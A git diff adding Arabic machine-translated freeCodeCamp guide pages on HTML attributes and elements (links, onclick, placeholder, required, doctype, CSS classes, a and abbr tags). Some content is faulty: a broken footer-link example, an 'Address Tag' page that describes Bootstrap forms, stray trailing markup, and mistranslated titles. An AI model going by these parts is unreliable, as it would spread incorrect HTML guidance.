+يمكنك استخدام `code <a>` العلامة أو عنصر الارتساء لتعريف الرابط الخاص بك ، والذي يحتاج أيضًا إلى عنوان وجهة يمكنك الوصول إليه باستخدام سمة `code href` . في ما يلي مقتطف يجعل عبارة "الدليل freeCodeCamp" عبارة:
+
+ `
+<a href="https://guide.freecodecamp.org">the freeCodeCamp Guide</a> 
+` 
+
+إذا كنت تريد فتح الرابط في علامة تبويب جديدة ، `code target` السمة `code target` مع قيمة `code "_blank"` داخل `code <a>` tag الخاص بك. يبدو هذا مثل:
+
+ `
+<a href="https://guide.freecodecamp.org" target="_blank">the freeCodeCamp Guide</a> 
+` 
+
+عندما تحتاج إلى توجيه المستخدمين إلى جزء معين من صفحة الويب الخاصة بك ، دعنا نفترض القاع ، تحتاج أولاً إلى تعيين `code #` التجزئة إلى سمة `code href` ، مثل هذا
+
+ `
+<a href="#footer>More about us<a/> 
+` 
+
+ستحتاج بعد ذلك إلى استخدام السمة `code id` في العنصر الذي تريد توجيه المستخدم إليه - وفي هذه الحالة `code <footer>` في أسفل صفحة الويب.
+
+ `
+<footer id="footer">Powered by freeCodeCamp</footer> 
+` 
+
+#### معلومات اكثر:
+
+[w3sschools - وصلات HTML](https://www.w3schools.com/html/html_links.asp)
\ No newline at end of file
diff --git a/client/src/guide/arabic/html/attributes/onclick-event-attribute/index.md b/client/src/guide/arabic/html/attributes/onclick-event-attribute/index.md
new file mode 100644
index 0000000000..de4016176a
--- /dev/null
+++ b/client/src/guide/arabic/html/attributes/onclick-event-attribute/index.md
@@ -0,0 +1,40 @@
+---
+title: Onclick Event Attribute
+localeTitle: Onclick Event Attribute
+---
+## Onclick Event Attribute
+
+عندما يتم النقر فوق عنصر الحريق حدث.
+
+وهي تعمل تمامًا مثل _طريقة onclick_ أو `addEventListener('click')` للعنصر.
+
+ `
+<element onclick="event"></element> 
+` 
+
+> يمكن أن يكون `event` عبارة عن وظيفة JavaScript أو يمكنك كتابة جافا سكريبت الخام
+
+### أمثلة
+
+تغيير لون عنصر `<p>` عند النقر عليه
+
+ `
+<p id="text" onclick="redify()">Change my color</p> 
+ 
+ <script> 
+ function redify(){ 
+  let text = document.querySelector('#text'); 
+  text.style.color = "red"; 
+ } 
+ </script> 
+` 
+
+باستخدام سمة raw onclick الأولية لجافا سكريبت:
+
+ `
+<button onclick="alert('Hello')">Hello World</button> 
+` 
+
+#### معلومات اكثر:
+
+*   [MDN](https://developer.mozilla.org/pt-BR/docs/Web/API/GlobalEventHandlers/onclick)
\ No newline at end of file
diff --git a/client/src/guide/arabic/html/attributes/p-align-attribute/index.md b/client/src/guide/arabic/html/attributes/p-align-attribute/index.md
new file mode 100644
index 0000000000..2eddc86ef7
--- /dev/null
+++ b/client/src/guide/arabic/html/attributes/p-align-attribute/index.md
@@ -0,0 +1,40 @@
+---
+title: P Align Attribute
+localeTitle: P محاذاة السمة
+---
+## P محاذاة السمة
+
+### مهم
+
+هذه السمة غير مدعومة في HTML5. من المستحسن استخدام [خاصية CSS `text-align`](https://guide.freecodecamp.org/css/text-align) .
+
+لمحاذاة النص داخل علامة `<p>` ، ستساعد هذه السمة.
+
+### بناء الجملة
+
+ `
+<p align="position">Lorem Ipsum...</p> 
+` 
+
+### سمات
+
+*   **يسار** - محاذاة النص إلى اليسار
+*   **يمين** - محاذاة النص إلى اليمين
+*   **مركز** - محاذاة النص إلى المركز
+*   **ضبط** - جميع أسطر النص لها عرض متساوي
+
+### مثال
+
+ `
+<html> 
+ <body> 
+ <p align="center">Paragraph align attribute example</p> 
+ </body> 
+ </html> 
+` 
+
+#### معلومات اكثر:
+
+*   [CSS `text-align`](https://guide.freecodecamp.org/css/text-align)
+*   [W3 - HTML 4.01 المواصفات](https://www.w3.org/TR/html401/struct/text.html#h-9.3.1)
+*   [MDN - CSS Text Align](https://developer.mozilla.org/en-US/docs/Web/CSS/text-align)
\ No newline at end of file
diff --git a/client/src/guide/arabic/html/attributes/placeholder-attribute/index.md b/client/src/guide/arabic/html/attributes/placeholder-attribute/index.md
new file mode 100644
index 0000000000..391a2b6946
--- /dev/null
+++ b/client/src/guide/arabic/html/attributes/placeholder-attribute/index.md
@@ -0,0 +1,36 @@
+---
+title: Placeholder Attribute
+localeTitle: العنصر النائب السمة
+---
+## عنصر نائب سمة | HTML5
+
+يحدد تلميحًا قصيرًا يصف القيمة المتوقعة `<textarea>` تحكم `<input>` أو `<textarea>` .
+
+يجب ألا تحتوي سمة العنصر النائب على أحرف رجعية أو تغذيات سطر.
+
+ملاحظة: لا تستخدم سمة العنصر النائب بدلاً من عنصر <label> ، أغراضها مختلفة. تصف السمة <label> دور عنصر النموذج (أي أنه يشير إلى نوع المعلومات المتوقع) ، وعلامة العنصر النائب عبارة عن تلميح حول التنسيق الذي يجب أن يتخذه المحتوى.
+
+### مثال
+
+مثال المدخلات
+
+ `
+<form> 
+    <input type="text" name="fname" placeholder="First Name"> 
+    <input type="text" name="lname" placeholder="Last Name"> 
+ </form> 
+` 
+
+مثال على Textarea
+
+ `
+<textarea placeholder="Describe yourself here..."></textarea> 
+` 
+
+### التوافق
+
+هذه سمة HTML5.
+
+#### معلومات اكثر:
+
+[سمة العنصر النائب HTML](https://www.w3schools.com/tags/att_placeholder.asp) على w3schools.com
\ No newline at end of file
diff --git a/client/src/guide/arabic/html/attributes/required/index.md b/client/src/guide/arabic/html/attributes/required/index.md
new file mode 100644
index 0000000000..004d04fcc1
--- /dev/null
+++ b/client/src/guide/arabic/html/attributes/required/index.md
@@ -0,0 +1,53 @@
+---
+title: Required
+localeTitle: مطلوب
+---
+## مطلوب
+
+يتم استخدام السمة HTML المطلوبة في عنصر إدخال لجعل حقل الإدخال في نموذج مطلوب لإرسال النموذج. إذا لم يقم المستخدم بملء حقل الإدخال ، فلن يرسل النموذج وسيعطي رسالة تطلب من المستخدم ملء هذا الحقل. السمة `< Required>` قابلة للتطبيق على `<input>` ، `<select>` ، `<textarea>` .
+
+فمثلا:
+
+ `
+<!DOCTYPE html> 
+ <html> 
+  <head> 
+    <title>HTML Required Attribute</title> 
+  </head> 
+  <body> 
+    <form action="/"> 
+      Text Field: <input type="text" name="textfield" required> 
+      <input type="submit" value="Submit"> 
+    </form> 
+  </body> 
+ </html> 
+` 
+
+اختر مثال:
+
+ `
+<form action="/action.php"> 
+ <select required> 
+  <option value="">None</option> 
+  <option value="volvo">Volvo</option> 
+  <option value="saab">Saab</option> 
+  <option value="mercedes">Mercedes</option> 
+  <option value="audi">Audi</option> 
+ </select> 
+ </form> 
+` 
+
+مثال على منطقة النص:
+
+ `
+<form action="/action.php"> 
+  <textarea name="comment" required></textarea> 
+  <input type="submit"> 
+ </form> 
+` 
+
+ببساطة إضافة `required` إلى عنصر إدخال
+
+#### معلومات اكثر:
+
+[مقالة MDN على عنصر الإدخال](https://developer.mozilla.org/en-US/docs/Web/HTML/Element/input)
\ No newline at end of file
diff --git a/client/src/guide/arabic/html/attributes/role-attribute/index.md b/client/src/guide/arabic/html/attributes/role-attribute/index.md
new file mode 100644
index 0000000000..d3ca6f0b73
--- /dev/null
+++ b/client/src/guide/arabic/html/attributes/role-attribute/index.md
@@ -0,0 +1,24 @@
+---
+title: Role Attribute
+localeTitle: سمة الدور
+---
+## سمة الدور
+
+و `role` السمة، يصف دور عنصر إلى البرامج التي يمكن الاستفادة منها، مثل قارئات الشاشة أو مكبرات.
+
+مثال على الاستخدام:
+
+ `
+<a href="#" role="button">Button Link</a> 
+` 
+
+سيقرأ قراء الشاشة هذا العنصر على أنه "زر" بدلاً من "رابط".
+
+هناك أربع فئات من الأدوار:
+
+*   أدوار مجردة
+*   أدوار القطعة
+*   أدوار هيكل الوثيقة
+*   أدوار لاندمارك
+
+للحصول على قائمة كاملة بالأدوار الحالية ، ارجع إلى [وثائق الأدوار](https://www.w3.org/TR/wai-aria/roles) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/html/attributes/script-src-attribute/index.md b/client/src/guide/arabic/html/attributes/script-src-attribute/index.md
new file mode 100644
index 0000000000..4b1e452ef1
--- /dev/null
+++ b/client/src/guide/arabic/html/attributes/script-src-attribute/index.md
@@ -0,0 +1,42 @@
+---
+title: Script Src Attribute
+localeTitle: السمة سيناريو Src
+---
+## السمة سيناريو Src
+
+السمة 'src' في هي المسار إلى ملف أو مورد خارجي تريد ربطه بمستند HTML الخاص بك.
+
+على سبيل المثال ، إذا كان لديك ملف جافا سكريبت مخصص لك باسم "script.js" وأردت إضافة وظائفه إلى صفحة HTML ، فيمكنك إضافته كما يلي:
+
+ `
+<!DOCTYPE html> 
+ <html lang="en"> 
+  <head> 
+    <title>Script Src Attribute Example</title> 
+  </head> 
+  <body> 
+ 
+  <script src="./script.js"></script> 
+  </body> 
+ </html> 
+` 
+
+يشير ذلك إلى ملف يسمى "script.js" موجود في نفس الدليل كملف .html. يمكنك أيضًا الارتباط بأدلة أخرى باستخدام ".." في مسار الملف.
+
+ `
+<script src="../public/js/script.js"></script> 
+` 
+
+يقفز هذا مستوى دليل واحد ثم إلى دليل "عام" ثم إلى دليل "js" ثم إلى ملف "script.js".
+
+يمكنك أيضًا استخدام السمة "src" للارتباط بملفات .js الخارجية التي تستضيفها جهة خارجية. يتم استخدام هذا إذا كنت لا تريد تنزيل نسخة محلية من الملف. لاحظ فقط أنه في حالة تغيير الرابط أو الوصول إلى الشبكة ، فلن يعمل الملف الخارجي الذي تقوم بالربط به.
+
+هذا المثال يرتبط بملف jQuery.
+
+ `
+<script src="https://code.jquery.com/jquery-3.2.1.slim.min.js"></script> 
+` 
+
+#### معلومات اكثر:
+
+[المادة MDN على HTML](https://developer.mozilla.org/en-US/docs/Web/HTML/Element/script#attr-src) tag</a></p></x-turndown>
\ No newline at end of file
diff --git a/client/src/guide/arabic/html/attributes/table-border-attribute/index.md b/client/src/guide/arabic/html/attributes/table-border-attribute/index.md
new file mode 100644
index 0000000000..3f6b765921
--- /dev/null
+++ b/client/src/guide/arabic/html/attributes/table-border-attribute/index.md
@@ -0,0 +1,12 @@
+---
+title: Table Border Attribute
+localeTitle: سمة حدود الجدول
+---
+## سمة حدود الجدول
+
+سمة علامة علامة `<table>` هي طريقة لترتيب حد إلى جدول HTML. القيم المدعومة هي `0` (بدون حد) و `1` (حد). سمة الحدود غير مدعومة في HTML 5 أحدث إصدار من HTML. يوصى باستخدام CSS لإضافة حد إلى جدول في HTML 5.
+
+#### معلومات اكثر:
+
+*   [MDN - HTML Attribute Reference](https://developer.mozilla.org/en-US/docs/Web/HTML/Attributes)
+*   [MDN - CSS Corder](https://developer.mozilla.org/en-US/docs/Web/CSS/border)
\ No newline at end of file
diff --git a/client/src/guide/arabic/html/block-and-inline-elements/index.md b/client/src/guide/arabic/html/block-and-inline-elements/index.md
new file mode 100644
index 0000000000..3e9b4bc31c
--- /dev/null
+++ b/client/src/guide/arabic/html/block-and-inline-elements/index.md
@@ -0,0 +1,39 @@
+---
+title: Block and Inline Elements
+localeTitle: كتلة وعناصر مضمن
+---
+## كتلة وعناصر مضمن
+
+دعنا نفهمهم باستخدام الأمثلة أدناه:
+
+#### نموذج الكود مع الإخراج:
+
+![كتلة الانتاج](https://user-images.githubusercontent.com/16048167/31070017-6f2cf0a2-a77c-11e7-9de6-110b9d0b488d.PNG)
+
+#### عنصر مستوى الكتلة:
+
+يشغل عنصر Block-level المساحة الكاملة لـ parent (حاوية) مثل `<div>` و `<p>` في المثال.
+
+لاحظ أن كلا من `<div>` و `<p>` يبدأان من سطر جديد في كل مرة ، لتشكيل هيكل **يشبه كتلة** . تبدأ عناصر مستوى الكتلة على أسطر جديدة.
+
+**العناصر** الشائعة **على مستوى الكتلة** هي `<div>` ، `<p>` ، `<article>` ، `<section>` ، `<figure>` ، `<footer>` إلخ.
+
+#### عنصر مضمن:
+
+مضمنة كما يقول الاسم "مضمن كجزء من النص الرئيسي وليس كقسم منفصل". تحتل العناصر المضمنة المساحة حسب الحاجة داخل المساحة المحددة بواسطة العنصر الرئيسي. على عكس العناصر على مستوى الكتلة ، فإنها لا تبدأ في خطوط جديدة.
+
+بعض **العناصر المضمنة** هي `<a>` ، `<span>` ، `<img>` ، `<code>` ، `<cite>` ، `<button>` ، `<input>` إلخ.
+
+#### نموذج الكود مع الإخراج:
+
+![الإخراج المضمن](https://user-images.githubusercontent.com/16048167/31069389-e1e3fc10-a779-11e7-86d2-6685e0061f52.png)
+
+**_ملاحظة_** : قد تحتوي عناصر مستوى الحظر على عناصر أخرى على مستوى الكتلة أو عناصر مضمّنة. **لا يمكن أن** تحتوي العناصر المضمّنة على عناصر مستوى الكتلة.
+
+#### التغييرات في HTML5
+
+على الرغم من أن فهم العناصر المحجوزة والعناصر المضمنة لا يزال مناسبًا ، يجب أن تكون على دراية بأن هذه المصطلحات قد تم تعريفها في إصدارات سابقة من مواصفات HTML. في HTML5 ، تحل مجموعة أكثر تعقيدًا من "فئات المحتوى" محل عناصر مستوى التجميع والمضمنة. يتم وضع عناصر مستوى الحظر بشكل كبير في فئة "محتوى التدفق" في HTML5 ، بينما تتطابق العناصر المضمنة مع الفئة "محتوى الصياغة". لمزيد من المعلومات حول فئات المحتوى الجديدة في HTML5 ، بما في ذلك محتوى التدفق ومحتوى الصياغة ، راجع [صفحة فئات المحتوى على شبكة مطوري برامج Mozilla.](https://developer.mozilla.org/en-US/docs/Web/Guide/HTML/Content_categories)
+
+#### معلومات اكثر:
+
+يرجى مراجعة [Mozilla Docs](https://developer.mozilla.org/en-US/docs/Web/HTML/Block-level_elements#Block-level_vs._inline)
\ No newline at end of file
diff --git a/client/src/guide/arabic/html/comments-in-html/index.md b/client/src/guide/arabic/html/comments-in-html/index.md
new file mode 100644
index 0000000000..16f3d57d7d
--- /dev/null
+++ b/client/src/guide/arabic/html/comments-in-html/index.md
@@ -0,0 +1,63 @@
+---
+title: Comments in HTML
+localeTitle: التعليقات في HTML
+---
+## التعليقات في HTML
+
+علامة التعليق هي عنصر يستخدم في ترك الملاحظات ، والتي تتعلق في الغالب بالمشروع أو موقع الويب. تُستخدم هذه العلامة كثيرًا لشرح شيء ما في التعليمة البرمجية أو ترك بعض التوصيات حول المشروع. تسهل علامة التعليق على المطور أيضًا الرجوع وفهم الرمز الذي كتبه في مرحلة لاحقة. يمكن أيضًا استخدام التعليقات للتعليق على أسطر التعليمة البرمجية لأغراض التصحيح.
+
+من الممارسات الجيدة إضافة تعليقات إلى شفرتك ، خاصة عند العمل مع فريق أو في شركة.
+
+تبدأ التعليقات بـ `<!--` وتنتهي بـ `-->` ، ويمكن أن تمتد على أسطر متعددة. يمكن أن تحتوي على رمز أو نص ، ولن تظهر في الواجهة الأمامية لموقع الويب عندما يزور أحد المستخدمين صفحة. يمكنك عرض التعليقات من خلال Inspector Console ، أو عن طريق عرض Page Source.
+
+### مثال
+
+ `
+<!-- You can comment out a large number of lines like this. 
+ Author: xyz 
+ Date: xx/xx/xxxx 
+ Purpose: abc 
+ --> 
+ Read more: https://html.com/tags/comment-tag/#ixzz4vtZHu5uR 
+ <!DOCTYPE html> 
+ <html> 
+    <body> 
+        <h1>FreeCodeCamp web</h1> 
+        <!-- Leave some space between the h1 and the p in order to understand what are we talking about--> 
+        <p>FreeCodeCamp is an open-source project that needs your help</p> 
+            <!-- For readability of code use proper indentation --> 
+    </body> 
+ </html> 
+` 
+
+## التعليقات الشرطية
+
+تحدد التعليقات الشرطية بعض علامات HTML التي يتم استهلالها عند ملء كود معين.
+
+التعليقات الشرطية يتم التعرف عليها فقط بواسطة Internet Explorer الإصدار 5 حتى الإصدار 9 - IE5 - IE9.
+
+### مثال
+
+ `
+<!DOCTYPE html> 
+ <html> 
+    <body> 
+        <!--[if IE 9]> 
+                <h1>FreeCodeCamp web</h1> 
+            <p>FreeCodeCamp is an open-source project that needs your help</p> 
+        <![endif]--> 
+    </body> 
+ </html> 
+` 
+
+### أي تعليقات شرطية
+
+هذه التعليقات متوفرة فقط في Internet Explorer ويمكن استخدامها حتى IE9. في الأوقات الحالية ، هناك تغيير جيد لن تراهم ، ولكن من الجيد معرفة وجودهم. التعليقات الشرطية هي طريقة لتقديم تجربة مختلفة لمتصفحات العميل المختلفة. فمثلا:
+
+ `
+<!--[if lt IE 9]> <p>Your browser is lower then IE9</p> <![endif]--> 
+ <!--[if IE 9]> <p>Your browser is IE9</p> <![endif]--> 
+ <!--[if gt IE 9]> <p>Your browser is greater then IE9</p> <![endif]--> 
+` 
+
+[حول التعليقات الشرطية](https://msdn.microsoft.com/en-us/library/ms537512(v=vs.85).aspx)
\ No newline at end of file
diff --git a/client/src/guide/arabic/html/css-classes/index.md b/client/src/guide/arabic/html/css-classes/index.md
new file mode 100644
index 0000000000..1a313f6243
--- /dev/null
+++ b/client/src/guide/arabic/html/css-classes/index.md
@@ -0,0 +1,63 @@
+---
+title: CSS Classes
+localeTitle: فئات CSS
+---
+## فئات CSS
+
+تعتبر الفئات طريقة فعالة لتجميع عناصر HTML بحيث يمكنهم مشاركة نفس الأنماط. يمكن استخدام صفوف CSS (أوراق الأنماط المتتالية) لترتيب وتزيين عناصر صفحة الويب.
+
+عند كتابة HTML ، يمكنك إضافة فئات إلى عنصر. ما عليك سوى إضافة `class="myclass"` السمات `class="myclass"` إلى العنصر. يمكن أن تحتوي العناصر المتعددة على نفس الفئة ، ويمكن لعنصر واحد أن يحتوي على فئات متعددة. يمكنك تعيين فئات متعددة لعنصر عن طريق إضافة كل أسماء الفئات المطلوبة المفصولة بمسافة إلى سمة `class` في HTML.
+
+ `
+<h1 class="super-man other-class third-class">"Here I come to save the day!"</h1> 
+ <p>is a popular catchphrase that <span class="super-man">Super Man</span> often said.</p> 
+` 
+
+يمكنك بعد ذلك تصميم هذه العناصر باستخدام CSS. تتم الإشارة إلى الفئات بالنقطة (.) قبلها في CSS ، ولكن لا يجب وضع الفترات في HTML الخاص بك.
+
+ `.super-man { 
+  color: red; 
+  background-color: blue; 
+ } 
+` 
+
+يعطي هذا الرمز خلفية زرقاء ولون نص أحمر لكافة العناصر التي تحتوي على فئة `super-man` . [شاهد هذا المثال على CodePen](https://codepen.io/Tlandis/pen/RLvomV) .
+
+يمكنك أيضًا الإعلان عن أكثر من فئة واحدة لعنصرك ، مثل:
+
+ `
+<div class="ironMan alfred"> 
+ We're going to save you. 
+ </div> 
+` 
+
+ثم في ملف css الخاص بك:
+
+ `.ironMan{ 
+ color:red; 
+ } 
+ 
+ .alfred{ 
+ background-color: black; 
+ } 
+` 
+
+**ملاحظة:** أسماء الصفوف عادةً ما تكون جميع الأحرف الصغيرة ، مع كل كلمة في اسم فئة متعدد الكلمات مفصولة بواصلات (على سبيل المثال "super-man").
+
+يمكنك أيضًا الجمع بين الصفوف في نفس السطر:
+
+ `.superMan .spiderMan { 
+ color: red; 
+ background-color: blue; 
+ } 
+` 
+
+يمكنك رؤية نتيجة الكود أعلاه [هنا](https://codepen.io/Tlandis/pen/RLvomV) . تعرف على كيفية الجمع بين دروس css باستخدام المحددات [هنا](https://www.w3schools.com/css/css_combinators.asp) .
+
+#### معلومات اكثر:
+
+*   [CSS Class Selector ، مدارس w3](https://www.w3schools.com/cssref/sel_class.asp)
+*   [دروس HTML ، مدارس w3](https://www.w3schools.com/html/html_classes.asp)
+*   [CSS-الحيل](https://css-tricks.com/how-css-selectors-work/)
+*   [كيفية التعليمة البرمجية في HTML5 و CSS3](http://howtocodeinhtml.com/chapter7.html)
+*   [MDN](https://developer.mozilla.org/en-US/docs/Web/HTML/Global_attributes/class)
\ No newline at end of file
diff --git a/client/src/guide/arabic/html/doctype-declaration/index.md b/client/src/guide/arabic/html/doctype-declaration/index.md
new file mode 100644
index 0000000000..6516ba860a
--- /dev/null
+++ b/client/src/guide/arabic/html/doctype-declaration/index.md
@@ -0,0 +1,71 @@
+---
+title: Doctype Declaration
+localeTitle: Doctype Declaration
+---
+## Doctype Declaration
+
+تعريف نوع مستند HTML ، المعروف أيضًا باسم `DOCTYPE` ، هو السطر الأول من الشفرة المطلوب في كل مستند HTML أو XHTML. يُعد إعلان `DOCTYPE` أحد التعليمات لمتصفح الويب حول إصدار HTML الذي تتم كتابة الصفحة به. وهذا يضمن تحليل صفحة الويب بنفس الطريقة من خلال متصفحات الويب المختلفة.
+
+في HTML 4.01 ، يشير تعريف `DOCTYPE` إلى تعريف نوع الوثيقة (DTD). يعرف DTD البنية والعناصر القانونية لوثيقة XML. نظرًا لأن HTML 4.01 كان مستندًا إلى لغة الترميز المعيارية القياسية (SGML) ، كان من الضروري الإشارة إلى DTD في إعلان `DOCTYPE` .
+
+بالإضافة إلى ذلك ، تطلبت doctypes الخاصة بـ HTML 4.01 إعلان إما DTD `strict` أو `transitional` أو `frameset` ، كل منها له حالة استخدام مختلفة كما هو موضح أدناه.
+
+*   **Strict DTD** : يستخدم لصفحات الويب التي _تستبعد_ السمات والعناصر التي يتوقع W3C التخلص منها مع زيادة دعم CSS
+*   **DTD الانتقالي** : يُستخدم لصفحات الويب التي _تتضمن_ سمات وعناصر يتوقع W3C التخلص منها مع زيادة دعم CSS
+*   **Frameset DTD** : يستخدم لصفحات الويب ذات الإطارات
+
+في المقابل ، فإن إعلان HTML5 `DOCTYPE` أبسط من ذلك بكثير: فهو لم يعد يتطلب إشارة إلى DTDs لأنه لم يعد يعتمد على SGML. راجع الأمثلة أدناه للمقارنة بين HTML 4.01 و HTML5 `DOCTYPE` s.
+
+### أمثلة
+
+بناء جملة Doctype لـ HTML5 وما بعدها:
+
+ `
+<!DOCTYPE html> 
+` 
+
+بناء جملة Doctype لـ HTML 4.01 صارم:
+
+ `
+<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd"> 
+` 
+
+Doctype syntax for Transitional HTML 4.01:
+
+ `
+<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> 
+` 
+
+بناء جملة Doctype لـ frameset HTML 4.01:
+
+ `
+<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Frameset//EN" "http://www.w3.org/TR/html4/frameset.dtd"> 
+` 
+
+## التاريخ
+
+خلال سنوات تكوين HTML ، لم يتم الاتفاق على معايير الويب بعد. يمكن لبائعي المتصفح إنشاء ميزات جديدة بأي طريقة يريدونها. كان هناك القليل من الاهتمام للمتصفحات المتنافسة. وكانت النتيجة أن على مطوري الويب اختيار متصفح لتطوير مواقعهم. هذا يعني أن المواقع لن يتم عرضها جيدًا في المتصفحات غير المدعومة. هذا الوضع لا يمكن أن يستمر.
+
+كتب W3C (World Wide Web Consortium) مجموعة من معايير الويب للتعامل مع هذا الموقف. يجب أن يلتزم جميع موردي المتصفح ومطوري الويب بهذه المعايير. وهذا من شأنه ضمان أن المواقع الإلكترونية ستعرض بشكل جيد عبر المتصفحات. كانت التغييرات التي تتطلبها المعايير مختلفة تمامًا عن بعض الممارسات الحالية. فالالتزام بها يؤدي إلى كسر المواقع الحالية غير المتوافقة مع المعايير.
+
+للتعامل مع هذه المشكلة ، بدأ البائعون في برمجة طرق العرض في المتصفحات الخاصة بهم. يحتاج مطورو الويب إلى إضافة تعريف مكون إلى أعلى مستند HTML. سيخبر تعريف doctype المتصفح الذي يستخدم وضع التقديم لهذا المستند. كانت ثلاثة أساليب عرض منفصلة متاحة بشكل عام عبر المتصفحات. **وضع المعايير الكاملة** يجعل الصفحات وفقا لمعايير W3C على شبكة الإنترنت. **يضع وضع Quirks** الصفحات بطريقة غير متوافقة مع المعايير. يقترب **وضع المعايير تقريبًا من وضع المعايير** الكاملة ، ولكنه يدعم عددًا قليلًا من المراوغات.
+
+في العصر الحديث لـ HTML5 ، يتم تنفيذ معايير الويب بشكل كامل في جميع المتصفحات الرئيسية. يتم تطوير مواقع الويب بشكل عام بطريقة متوافقة مع المعايير. ولهذا السبب ، لا يوجد تعريف نوع HTML5 إلا لإعلام المتصفح بعرض المستند في وضع المعايير الكاملة.
+
+## استعمال
+
+يجب أن يكون Doctype Declaration السطر الأول من التعليمات البرمجية في مستند HTML ، بغض النظر عن التعليقات ، والتي يمكن أن تمر قبلها إذا لزم الأمر. بالنسبة إلى مستندات HTML5 الحديثة ، يجب أن يكون تعريف المقطع كما يلي:
+
+`<!DOCTYPE html>`
+
+#### معلومات اكثر:
+
+على الرغم من أنه لم يعد يتم الاستخدام بشكل عام ، فهناك العديد من أنواع تعريفات الأنواع الأخرى من الإصدارات السابقة من HTML. هناك أيضًا إصدارات محددة لمستندات XML. لقراءة المزيد عن هذا ، ولرؤية أمثلة التعليمات البرمجية لكل منها ، ألق نظرة على [مقالة Wikipedia](https://en.wikipedia.org/wiki/Document_type_declaration) .
+
+[ملاحظة من W3](https://www.w3.org/QA/Tips/Doctype)
+
+[MDN Glossary entry](https://developer.mozilla.org/en-US/docs/Glossary/Doctype)
+
+[W3Schools](https://www.w3schools.com/tags/tag_doctype.asp)
+
+[شرح سريع "لوضع المرتقب" و "وضع المعايير"](https://developer.mozilla.org/en-US/docs/Quirks_Mode_and_Standards_Mode)
\ No newline at end of file
diff --git a/client/src/guide/arabic/html/elements/a-tag/index.md b/client/src/guide/arabic/html/elements/a-tag/index.md
new file mode 100644
index 0000000000..a3ecbc88f0
--- /dev/null
+++ b/client/src/guide/arabic/html/elements/a-tag/index.md
@@ -0,0 +1,43 @@
+---
+title: A Tag
+localeTitle: يوم
+---
+## علامة
+
+تقوم العلامة `<a>` أو عنصر _الارتساء_ بإنشاء ارتباط تشعبي إلى صفحة أو ملف آخر. للارتباط بصفحة أو ملف مختلف ، يجب أن تحتوي العلامة `<a>` أيضًا على سمة `href` ، والتي تشير إلى وجهة الرابط.
+
+يصبح النص بين علامتي الفتح `<a>` هو الرابط.
+
+بشكل افتراضي ، يتم عرض صفحة مرتبطة في نافذة المتصفح الحالية ما لم يتم تحديد هدف آخر.
+
+#### مثال:
+
+ `
+  <a href= "https://guide.freecodecamp.org/">freeCodeCamp</a> 
+` 
+
+يمكن أيضًا تحويل الصورة إلى ارتباط بإحاطة العلامة `<img>` في علامة `<a>` .
+
+#### مثال:
+
+ `
+  <a href= "https://guide.freecodecamp.org/"><img src="logo.svg"></a> 
+` 
+
+من الممكن أيضًا تحديد هدف العلامة `<a>` . يتم ذلك باستخدام السمة `target` . تحتوي السمة `target` على القيم التالية متاحة `_blank|_self|_parent|_top|framename` .
+
+`_blank` : يفتح الرابط في علامة تبويب جديدة أو نافذة جديدة بناءً على تفضيلات المستخدم. `_self` : يفتح الرابط في نفس الإطار (السلوك الافتراضي). `_parent` : يفتح الرابط في الإطار الرئيسي ، على سبيل المثال عندما ينقر المستخدم على رابط في iframe. `_top` : يفتح الرابط في النص الكامل للنافذة. `framename` : يفتح الرابط في الإطار المحدد.
+
+#### مثال:
+
+ `
+  <a href= "https://guide.freecodecamp.org/" target="_blank">freeCodeCamp</a> 
+` 
+
+[freeCodeCamp](https://guide.freecodecamp.org/) يتم إنشاء هذا الارتباط بالطريقة نفسها التي يقترحها مثال التعليمة البرمجية. انقر فوقه لمعرفة كيف يعمل.
+
+#### معلومات اكثر:
+
+*   [HTML <a> عنصر: MDN](https://developer.mozilla.org/en-US/docs/Web/HTML/Element/a)
+*   [علامة: w3schools](https://www.w3schools.com/tags/tag_a.asp)
+*   [علامة: htmlreference.io](http://htmlreference.io/element/a/)
\ No newline at end of file
diff --git a/client/src/guide/arabic/html/elements/abbr-tag/index.md b/client/src/guide/arabic/html/elements/abbr-tag/index.md
new file mode 100644
index 0000000000..9b5905ff8d
--- /dev/null
+++ b/client/src/guide/arabic/html/elements/abbr-tag/index.md
@@ -0,0 +1,18 @@
+---
+title: Abbr Tag
+localeTitle: اببر تاج
+---
+## اببر تاج
+
+علامة `<abbr>` تعني "الاختصار". يمكن أن تأخذ سمة `title` ، لشرح الاختصار.
+
+استخدام المثال:
+
+ `
+<abbr title="Free Code Camp">FCC</abbr> 
+` 
+
+#### معلومات اكثر:
+
+*   [عنصر HTML <abbr>: MDN](https://developer.mozilla.org/en-US/docs/Web/HTML/Element/abbr)
+*   [تنسيق النص المتقدم: المختصرات](https://developer.mozilla.org/en-US/docs/Learn/HTML/Introduction_to_HTML/Advanced_text_formatting#Abbreviations)
\ No newline at end of file
diff --git a/client/src/guide/arabic/html/elements/address-tag/index.md b/client/src/guide/arabic/html/elements/address-tag/index.md
new file mode 100644
index 0000000000..9b6561079e
--- /dev/null
+++ b/client/src/guide/arabic/html/elements/address-tag/index.md
@@ -0,0 +1,34 @@
+---
+title: Address Tag
+localeTitle: عنوان العنوان
+---
+## عنوان العنوان
+
+توسيع عناصر التحكم في نموذج Bootstrap على أنماط النماذج Rebooted مع الفئات. استخدم هذه الفئات لاختيار شاشاتها المخصصة لعرض أكثر تناسقًا عبر المتصفحات والأجهزة.
+
+تأكد من استخدام سمة نوع مناسبة على جميع المدخلات (مثل البريد الإلكتروني لعنوان البريد الإلكتروني أو رقم للحصول على معلومات رقمية) للاستفادة من عناصر التحكم في الإدخال الأحدث مثل التحقق من البريد الإلكتروني ، واختيار الأرقام ، والمزيد.
+
+فيما يلي مثال سريع لإظهار أنماط نموذج Bootstrap. استمر في القراءة للوثائق حول الفصول الدراسية المطلوبة ، وتخطيط النموذج ، والمزيد.
+
+#### استعمال
+
+ `
+<form> 
+  <div class="form-group"> 
+    <label for="exampleInputEmail1">Email address</label> 
+    <input type="email" class="form-control" id="exampleInputEmail1" aria-describedby="emailHelp" placeholder="Enter email"> 
+    <small id="emailHelp" class="form-text text-muted">We'll never share your email with anyone else.</small> 
+  </div> 
+  <div class="form-group"> 
+    <label for="exampleInputPassword1">Password</label> 
+    <input type="password" class="form-control" id="exampleInputPassword1" placeholder="Password"> 
+  </div> 
+  <div class="form-check"> 
